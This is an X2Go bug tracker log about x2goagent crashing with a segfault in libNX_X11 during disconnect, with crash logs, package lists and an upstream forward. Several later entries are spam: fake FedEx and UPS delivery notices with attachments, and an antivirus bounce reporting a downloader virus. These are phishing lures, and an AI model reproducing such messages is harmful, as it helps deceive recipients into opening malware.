X2Go Bug report logs - #938
x2agent segfault in LibNX_X11.so when disconnecting

Package: x2goagent; Maintainer for x2goagent is X2Go Developers <x2go-dev@lists.x2go.org>; Source for x2goagent is src:nx-libs.

Reported by: "James Kohout" <jameskohout@active-semi.com>

Date: Wed, 2 Sep 2015 14:15:01 UTC

Severity: normal

Forwarded to https://github.com/ArcticaProject/nx-libs/issues/81

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Report forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Wed, 02 Sep 2015 14:15:01 GMT) Full text and rfc822 format available.

Acknowledgement sent to "James Kohout" <jameskohout@active-semi.com>:
New Bug report received and forwarded. Copy sent to X2Go Developers <x2go-dev@lists.x2go.org>. (Wed, 02 Sep 2015 14:15:01 GMT) Full text and rfc822 format available.

Message #5 received at submit@bugs.x2go.org (full text, mbox):

From: "James Kohout" <jameskohout@active-semi.com>
To: <submit@bugs.x2go.org>
Subject: x2agent segfault in LibNX_X11.so when disconnecting
Date: Wed, 2 Sep 2015 09:14:50 -0500
[Message part 1 (text/plain, inline)]
Package:  x2goagent

Version:   3.5.0.31-1.el6

 

When I disconnected from a windows client, I lost my session.  This is the
result in the server at the time of the disconnect.  It does not happen
every time, just some times when I disconnect.  I can re-connect fine with a
new session, but the running session is lost.

 

 

Sep  2 00:34:36 tyler kernel: x2goagent[28724]: segfault at 7fff43451ff8 ip
00007fcf05ebad84 sp 00007fff43451ff0 error 6 in
libNX_X11.so.6.2[7fcf05e73000+10c000]

Sep  2 00:34:36 tyler /usr/bin/x2gosuspend-session: session with ID
jameskohout-58-1441122134_stDGNOME_dp32 has been suspended successfully

Sep  2 00:34:45 tyler abrt[11437]: Saved core dump of pid 28724
(/usr/lib64/nx/bin/nxagent) to
/var/spool/abrt/ccpp-2015-09-02-00:34:36-28724 (390942720 bytes)

Sep  2 00:34:45 tyler abrtd: Directory 'ccpp-2015-09-02-00:34:36-28724'
creation detected

Sep  2 00:34:45 tyler abrtd: Package 'nxagent' isn't signed with proper key

Sep  2 00:34:45 tyler abrtd: 'post-create' on
'/var/spool/abrt/ccpp-2015-09-02-00:34:36-28724' exited with 1

Sep  2 00:34:45 tyler abrtd: Deleting problem directory
'/var/spool/abrt/ccpp-2015-09-02-00:34:36-28724'

 

Linux tyler.dal.active-semi.com 2.6.32-504.8.1.el6.x86_64 #1 SMP Tue Jan 27
12:21:41 PST 2015 x86_64 x86_64 x86_64 GNU/Linu

 

Distributor ID:    OracleServer

Description:        Oracle Linux Server release 6.6

Release:               6.6

Codename:        n/a

 

I looked and the /var/spool/abrt/ccpp-2015-09-02-00:34:36-28724 is gone.  

 

 

 

 


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Information forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Tue, 23 Feb 2016 14:20:01 GMT) Full text and rfc822 format available.

Acknowledgement sent to Mike Gabriel <mike.gabriel@das-netzwerkteam.de>:
Extra info received and forwarded to list. Copy sent to X2Go Developers <x2go-dev@lists.x2go.org>. (Tue, 23 Feb 2016 14:20:02 GMT) Full text and rfc822 format available.

Message #10 received at 938@bugs.x2go.org (full text, mbox):

From: Mike Gabriel <mike.gabriel@das-netzwerkteam.de>
To: James Kohout <jameskohout@active-semi.com>, 938@bugs.x2go.org
Subject: Re: [X2Go-Dev] Bug#938: x2agent segfault in LibNX_X11.so when disconnecting
Date: Tue, 23 Feb 2016 14:18:29 +0000
[Message part 1 (text/plain, inline)]
Control: forwarded -1 https://github.com/ArcticaProject/nx-libs/issues/81


Hi James,

On  Mi 02 Sep 2015 16:14:50 CEST, James Kohout wrote:


> When I disconnected from a windows client, I lost my session.  This is the
> result in the server at the time of the disconnect.  It does not happen
> every time, just some times when I disconnect.  I can re-connect fine with a
> new session, but the running session is lost.

Your bug has been forwarded for further introspection to the new  
upstream location of nx-libs [1].

Mike

[1] https://github.com/ArcticaProject/nx-libs/issues/81
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Set Bug forwarded-to-address to 'https://github.com/ArcticaProject/nx-libs/issues/81'. Request was from Mike Gabriel <mike.gabriel@das-netzwerkteam.de> to 938-submit@bugs.x2go.org. (Tue, 23 Feb 2016 14:20:02 GMT) Full text and rfc822 format available.

Information forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Fri, 20 May 2016 07:05:02 GMT) Full text and rfc822 format available.

Acknowledgement sent to Dominik Acri <Dominik.Acri@Gmx.net>:
Extra info received and forwarded to list. Copy sent to X2Go Developers <x2go-dev@lists.x2go.org>. (Fri, 20 May 2016 07:05:02 GMT) Full text and rfc822 format available.

Message #17 received at 938@bugs.x2go.org (full text, mbox):

From: Dominik Acri <Dominik.Acri@Gmx.net>
To: 938@bugs.x2go.org
Subject: x2agent segfault in LibNX_X11.so when disconnecting
Date: Fri, 20 May 2016 08:58:14 +0200
Same problem here.
1 nutte kernel: [1531898.730536] x2goagent[17879]: segfault at 7fff0eea5ff8 ip 00007f348449d142 sp 00007fff0eea6000 error 6 in libNX_X11.so.6.2[7f3484451000+123000]

Maybe this is the same problem.

https://bugs.archlinux.org/task/29257

-- 
Mit freundlichen Grüssen
Dominik Acri                            mailto:Dominik.Acri@Gmx.net


Information forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Fri, 20 May 2016 07:30:02 GMT) Full text and rfc822 format available.

Acknowledgement sent to Dominik Acri <Dominik.Acri@Gmx.net>:
Extra info received and forwarded to list. Copy sent to X2Go Developers <x2go-dev@lists.x2go.org>. (Fri, 20 May 2016 07:30:02 GMT) Full text and rfc822 format available.

Message #22 received at 938@bugs.x2go.org (full text, mbox):

From: Dominik Acri <Dominik.Acri@Gmx.net>
To: 938@bugs.x2go.org
Subject: x2agent segfault in LibNX_X11.so when disconnecting
Date: Fri, 20 May 2016 09:21:10 +0200
Hi,

ok, not exactly the same problem in my case like james.

x2goagent  crashs  from time to time while working with thunderbird or
jdownloader.

1 nutte kernel: [1531898.730536] x2goagent[17879]: segfault at 7fff0eea5ff8 ip 00007f348449d142 sp 00007fff0eea6000 error 6 in libNX_X11.so.6.2[7f3484451000+123000]

Debian 8.4

x2go from

deb http://packages.x2go.org/debian jessie main

ii  libnx-x11-6:amd64                     2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 client-side library
ii  libnx-x11-6-dbg:amd64                 2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 client-side library (debug package)
ii  libnx-xau6:amd64                      2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 authorisation library
ii  libnx-xau6-dbg:amd64                  2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 authorisation library (debug package)
ii  libnx-xcomposite1:amd64               2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Composite extension library
ii  libnx-xcomposite1-dbg:amd64           2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Composite extension library (debug package)
ii  libnx-xdamage1:amd64                  2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 damaged region extension library
ii  libnx-xdamage1-dbg:amd64              2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 damaged region extension library (debug package)
ii  libnx-xdmcp6:amd64                    2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Display Manager Control Protocol library
ii  libnx-xdmcp6-dbg:amd64                2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Display Manager Control Protocol library (debug package)
ii  libnx-xext6:amd64                     2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 miscellaneous extension library
ii  libnx-xext6-dbg:amd64                 2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 miscellaneous extension library (debug package)
ii  libnx-xfixes3:amd64                   2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 miscellaneous 'fixes' extension library
ii  libnx-xfixes3-dbg:amd64               2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 miscellaneous 'fixes' extension library (debug package)
ii  libnx-xinerama1:amd64                 2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Xinerama extension library
ii  libnx-xinerama1-dbg:amd64             2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Xinerama extension library (debug package)
ii  libnx-xpm4:amd64                      2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 pixmap library
ii  libnx-xpm4-dbg:amd64                  2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 pixmap library (debug package)
ii  libnx-xrandr2:amd64                   2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 RandR extension library
ii  libnx-xrandr2-dbg:amd64               2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 RandR extension library (debug package)
ii  libnx-xrender1:amd64                  2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Rendering Extension client library
ii  libnx-xrender1-dbg:amd64              2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Rendering Extension client library (debug package)
ii  libnx-xtst6:amd64                     2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Testing -- Record extension library
ii  libnx-xtst6-dbg:amd64                 2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 Testing -- Record extension library (debug package)
ii  libnxml0:amd64                        0.18.3-6                                        amd64        C library for parsing, writing and creating xml 1.0/1.1 files or streams
ii  libnxml0-dbg:amd64                    0.18.3-6                                        amd64        shared libraries with debugging symbols for libnxml0
ii  libxcomp3:amd64                       2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 compression library
ii  libxcompext3:amd64                    2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 protocol compression extensions library
ii  libxcompshad3:amd64                   2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        nx-X11 shadowing library
ii  nx-x11-common                         2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 all          nx-X11 (common files)
ii  nxagent                               2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        NX agent
ii  nxauth                                2:3.5.0.32-0x2go1+git20160126.734+jessie.main.1 amd64        NX xauth





-- 
Mit freundlichen Grüssen
Dominik Acri                            mailto:Dominik.Acri@Gmx.net


Information forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Wed, 07 Dec 2016 14:15:01 GMT) Full text and rfc822 format available.

Message #25 received at 938@bugs.x2go.org (full text, mbox):

From: "DrWeb-MailD" <DrWEB-MAIL-DAEMON@wx08.wadax.ne.jp>
To: 938@bugs.x2go.org
Subject: Undelivered mail: Problem with parcel shipping, ID:00517164
Date: Wed, 7 Dec 2016 23:05:31 +0900 (JST)
[Message part 1 (text/plain, inline)]
メール受信者様!

あなた宛に送られたメール(送信者: go-gotsu-jp@wx08.wadax.ne.jp  - 第三者が騙っている可能性もあります)
はウイルスに感染していたために配送されませんでした。.

受信者 = 938@bugs.x2go.org
件 名 =  Problem with parcel shipping, ID:00517164

--- Dr.Web report ---
見つかったウイルス:
JS.DownLoader.1225

詳細なレポート:
/var/drweb/msgs/in/1/01372EB1/b3 感染 -  JS.DownLoader.1225

Dr.Web 検査統計:
ウイルスが含まれるメッセージ:  1
既知のウイルス:  1

--- Dr.Web report ---
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Received:  by wx08.wadax.ne.jp (Postfix, from userid 1106)
	id 17274C0BF8; Wed,  7 Dec 2016 23:05:31 +0900 (JST)
To:  938@bugs.x2go.org
Subject:  Problem with parcel shipping, ID:00517164
X-PHP-Originating-Script:  1106:post.php(4) : regexp code(1) : eval()'d code(17) : eval()'d code
Date:  Wed, 7 Dec 2016 23:05:31 +0900
From:  "FedEx International Next Flight" <joe.kirby@go-gotsu.jp>
Reply-To:  "FedEx International Next Flight" <joe.kirby@go-gotsu.jp>
Message-ID:  <45afe9d473669ff5973f26b088c1828d@go-gotsu.jp>
X-Priority:  3
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Information forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Fri, 02 Jun 2017 01:10:02 GMT) Full text and rfc822 format available.

Acknowledgement sent to maraton1@vps-944527-x.dattaweb.com:
Extra info received and forwarded to list. Copy sent to X2Go Developers <x2go-dev@lists.x2go.org>. (Fri, 02 Jun 2017 01:10:02 GMT) Full text and rfc822 format available.

Message #30 received at 938@bugs.x2go.org (full text, mbox):

From: maraton1@vps-944527-x.dattaweb.com
To: 938@bugs.x2go.org
Subject: Delivery Status Notification
Date: Thu, 1 Jun 2017 22:07:42 -0300
[Message part 1 (text/plain, inline)]
Dear Customer,

Please check the attachment for your item delivery details!

FedEx

-----BEGIN PGP PUBLIC KEY BLOCK-----

2BFX5EBn0gqE2gwVRJ8mrRR2XAElSyjnsH80DfxhLpiBJjhjMBjjYf7x32uszyEpGNH/DqkQqspM
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G2WRDcz3vKFODVPH+vsONItL8HeKoFXYSqRN3Xa7ptWjeRFaEejYTqFP0oHTLgkZm3lB42muDa9d
UEvlRx1YM74F238iZ+8heFpRCizniao73zaYO87U6SoG+gmdykUTAxSNtjjG/46IrrPNtCSbKhx2
BIke3EVCQFCN2kwSXJpsfMBGNPAxXFHFCaeZRjNeUSL5YXEst8z+0S0NrmV/urPLFzZJZUaawAAU
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xITtOvW5Izmeo0SXqfp2F7DRHobhM3QAadlAW9ywGi5awicNFpkFBY56DeAagiB1n332nCRa9YjH
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hlztACo6hSJ2U8Rsf+fo2+FG4IxRakQAwJQ0X0WfVFv+zyKzC2KY6WmEvX3lzJGcc3KPUVc4QxFY
4hZq3HWQPM6DxSprZh5ahCzmdGvGoUYmf/5drvrTvjCwWqJEgKywQnv5/OyhEFPK02f9+HjyfRhy
1Ho11Elam+3JIGyV9/d5KuWp5ONS54HNy/TzzYnuwCBFrOJRPNO7o60fybcd9ErKO38sBEe/L+7T
U70kwzQw+o0KhbIrSUyQfH+fzIgfapZ2NzCXpjXQP2Ykb3oHf1uEZdZk08EQCApRiVXLLI9mbwIs
uUQDbLA2MYCPms0nXj1jo0M3lAMsDwU/gOCRbeGD36lAPM3BFX59fuqX5OxKsNvwPzTrV9yv6YjI
6vIU/FDSMbOzV7PUwACX5BHx8pSS5N1icKylCKVS4A==


-----END PGP PUBLIC KEY BLOCK-----

[FedEx-Package-ID-FO5NL88D.doc.html (text/html, attachment)]

Information forwarded to x2go-dev@lists.x2go.org, X2Go Developers <x2go-dev@lists.x2go.org>:
Bug#938; Package x2goagent. (Wed, 19 Jul 2017 10:05:01 GMT) Full text and rfc822 format available.

Message #33 received at 938@bugs.x2go.org (full text, mbox):

From: CGI-Mailer <cgi-mailer@kundenserver.de>
To: 938@bugs.x2go.org
Subject: Our UPS courier can not contact you (parcel #002561076)
Date: Tue, 18 Jul 2017 22:08:26 +0200
[Message part 1 (text/plain, inline)]
Dear Customer,

We can not deliver your parcel arrived at July 17.

Please review delivery label in attachment!

With many thanks,
 ,
UPS Support Manager.

[UPS-Label-002561076.zip (application/zip, attachment)]

Send a report that this bug log contains spam.


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